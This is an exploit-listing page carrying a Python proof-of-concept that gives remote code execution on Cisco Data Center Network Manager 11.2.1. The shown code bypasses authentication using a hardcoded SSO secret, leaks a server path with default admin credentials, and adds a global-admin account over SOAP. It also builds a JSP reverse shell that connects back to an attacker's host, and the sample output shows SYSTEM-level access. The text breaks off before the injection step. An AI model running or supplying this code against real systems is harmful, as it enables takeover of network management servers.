Cisco data center network manager 11.2.1 getvmhostdata sql injection Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2020-02-06 |
Type : webapps |
Platform : java
This exploit / vulnerability Cisco data center network manager 11.2.1 getvmhostdata sql injection is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
"""
Cisco Data Center Network Manager HostEnclHandler getVmHostData SQL Injection Remote Code Execution Vulnerability
Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
- Release: 11.2(1)
- Release Date: 18-Jun-2019
- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
- Size: 1619.36 MB (1698022100 bytes)
- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5
saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.59:1337
(+) created the account hacker:Hacked123
(+) created the 1337/custom path!
(+) leaked vfs! temp230cf31722794196/content-ed98b5003b1c695c
(+) SQL Injection working!
(+) wrote the si.jsp shell!
(+) cleaned up the database!
(+) starting handler on port 1337
(+) connection from 192.168.100.122
(+) pop thy shell!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
whoami
nt authority\system
1. delete from xmlDocs where user_name = '1337';
2. delete si.jsp from the web root
3. delete the folder and its contents: C:/Program Files/Cisco Systems/dcm/fm/reports/1337
"""
import re
import md5
import sys
import time
import socket
import base64
import requests
import telnetlib
from threading import Thread
from xml.etree import ElementTree
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def _get_jsp(cbh, cbp):
""" get me some jsp for a connectback! """
jsp = """
<%%@page import="java.lang.*"%%>
<%%@page import="java.util.*"%%>
<%%@page import="java.io.*"%%>
<%%@page import="java.net.*"%%>
<%%
// clean up
String[] files = {
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/si.xml",
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/",
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/",
};
for (String s:files){ File f = new File(s); f.delete(); }
File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_",".")));
f.delete();
class StreamConnector extends Thread
{
InputStream we;
OutputStream uo;
public void run()
{
BufferedReader dy = null;
BufferedWriter zvi = null;
try
{
dy = new BufferedReader( new InputStreamReader( this.we ) );
zvi = new BufferedWriter( new OutputStreamWriter( this.uo ) );
char buffer[] = new char[8192];
int length;
while( ( length = dy.read( buffer, 0, buffer.length ) ) > 0 )
{
zvi.write( buffer, 0, length );
zvi.flush();
}
} catch( Exception e ){}
try
{
if( dy != null )
dy.close();
if( zvi != null )
zvi.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
ShellPath = new String("cmd.exe");
Socket socket = new Socket( "%s", %s);
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%%>
""" % (cbh, cbp)
return jsp
def get_session(target, user, password):
""" we have bypassed auth at this point and created an admin """
d = {
"j_username" : user,
"j_password" : password
}
uri = "https://%s/j_spring_security_check" % target
r = requests.post(uri, data=d, verify=False, allow_redirects=False)
if "Set-Cookie" in r.headers:
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,4}:.{44});", r.headers["Set-Cookie"])
if match:
sessionid = match.group(1)
resttoken = match.group(2)
return { "JSESSIONID" : sessionid, "resttoken": resttoken}
return False
def gen_ssotoken():
""" auth bypass """
timestamp = 9999999999999 # we live forever
username = "hax" # doesnt even need to exist!
sessionid = 1337 # doesnt even need to exist!
d = "%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" % (username, sessionid, timestamp)
return "%d.%d.%s.%s" % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)
def we_can_leak_vfs(target):
""" we use a information disclosure for the vfs path """
global vfs
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
c = requests.auth.HTTPBasicAuth('admin', 'nbv_12345')
r = requests.get(uri, verify=False, auth=c)
match = re.search(r"temp\\(.{21}content-.{15,16})", r.text)
if match:
vfs = str(match.group(1).replace("\\","/"))
return True
return False
def handler(lp):
""" this is the client handler, to catch the connectback """
print "(+) starting handler on port %d" % lp
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print "(+) connection from %s" % addr[0]
t.sock = conn
print "(+) pop thy shell!"
t.interact()
def exec_code(t, usr, pwd, cbp):
""" this function threads the client handler and sends off the attacking payload """
handlerthr = Thread(target=handler, args=(int(cbp),))
handlerthr.start()
r = requests.get("https://%s/si.jsp" % t, cookies=get_session(t, usr, pwd), verify=False)
def we_can_add_user(target, usr, pwd):
""" add a user so that we can reach our backdoor! """
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
soap_body += craft_soap_header()
soap_body += '\t<soapenv:Body>'
soap_body += '\t\t<ep:addUser>'
soap_body += '\t\t\t<userName>%s</userName>' % usr
soap_body += '\t\t\t<password>%s</password>' % pwd
soap_body += '\t\t\t<roleName>global-admin</roleName>'
soap_body += '\t\t\t<enablePwdExpiration>false</enablePwdExpiration>'
soap_body += '\t\t</ep:addUser>'
soap_body += '\t</soapenv:Body>'
soap_body += '</soapenv:Envelope>'
uri = "https://%s/DbAdminWSService/DbAdminWS" % target
r = requests.post(uri, data=soap_body, verify=False)
tree = ElementTree.fromstring(r.content)
for elem in tree.iter():
if elem.tag == "resultMessage":
res = elem.text
if res == "Success":
return True
elif res == "User already exists.":
return True
return False